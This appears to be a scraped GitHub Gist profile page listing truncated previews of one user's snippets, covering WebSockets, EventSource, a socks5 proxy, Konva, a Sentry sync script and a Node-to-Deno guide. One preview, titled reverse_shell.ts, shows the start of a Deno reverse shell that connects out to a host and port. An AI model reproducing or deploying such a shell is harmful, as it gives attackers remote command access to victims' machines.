Skip to content

Instantly share code, notes, and snippets.

View image72's full-sized avatar

image72 image72

View GitHub Profile
@image72
image72 / index.html
Created June 9, 2023 05:37
WebSockets Demo
<div id="page-wrapper">
<h1>WebSockets Demo</h1>
<div id="status">Connecting...</div>
<ul id="messages"></ul>
<form id="message-form" action="#" method="post">
<textarea id="message" placeholder="Write your message here..." required></textarea>
<button type="submit">Send Message</button>
@image72
image72 / 从Node到Deno.md
Created March 8, 2023 11:19 — forked from futurist/从Node到Deno.md
从Node到Deno

从Node到Deno,你需要知道的

* 第一部分:安装

以MacOS系统为例,说明安装的不同

A. Node安装

涉及的文件:node, npm, npx, node_modules 文件夹

@image72
image72 / index.html
Created March 7, 2023 07:23
express enventSource server & client
<html>
<head>
<script>
if (!!window.EventSource) {
var source = new EventSource('/countdown?count=20');
source.addEventListener('message', function (e) {
const data = JSON.parse(e.data);
document.getElementById('data').innerHTML = `client: ${data.clientId}<br/> count: ${data.count}`;
@image72
image72 / reverse_shell.ts
Created March 5, 2023 10:39 — forked from Axone7953/reverse_shell.ts
Reverse shell deno
const conn = await Deno.connect({ hostname: "127.0.0.1", port: 7953 });
const decoder = new TextDecoder(),
encoder = new TextEncoder();
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer));
async function pipe(reader: Deno.Reader, writer: Deno.Writer, debug=false) {
const buffer = new Uint8Array(32 * 1024);
@image72
image72 / unfetch.js
Created December 3, 2022 01:41
unfetch polyfill
function fetch(url, options) {
options = options || {};
return new Promise((resolve, reject) => {
let request = new XMLHttpRequest();
request.open(options.method || "get", url);
for (let i in options.headers) {
request.setRequestHeader(i, options.headers[i]);
}
@image72
image72 / html5-canvas-rich-text-edit-with-konva.markdown
Created November 19, 2022 20:57
HTML5 Canvas rich text edit with Konva
@image72
image72 / 3d-digital-clock.markdown
Created November 10, 2022 07:20
3d digital clock
@image72
image72 / socks5.js
Created August 2, 2022 05:15 — forked from longbill/socks5.js
Socks5 proxy server in pure javascript
const net = require('net')
net.createServer(client => {
client.once('data', data => {
client.write(Buffer.from([5, 0]));
client.once('data', data => {
data = [...data];
let ver = data.shift();
let cmd = data.shift(); //1: connect, 2: bind, 3: udp
let rsv = data.shift();
svg-captcha = function (text, options) {
text = text || random.captchaText();
options = Object.assign({}, opts, options);
const width = options.width;
const height = options.height;
const bg = options.background;
if (bg) {
options.color = true;
}
@image72
image72 / sentry-sync.mjs
Created June 20, 2022 16:21
sentry sourcemaps manual sync for create-react-app
import { $, glob } from 'zx';
const { version, name } = require('./package.json');
const SOURCEMAPS_PATH = './build/static/js';
const URL_PREFIX = '~/static/js/';
const start = await $`date +%s`;
const check = async () => {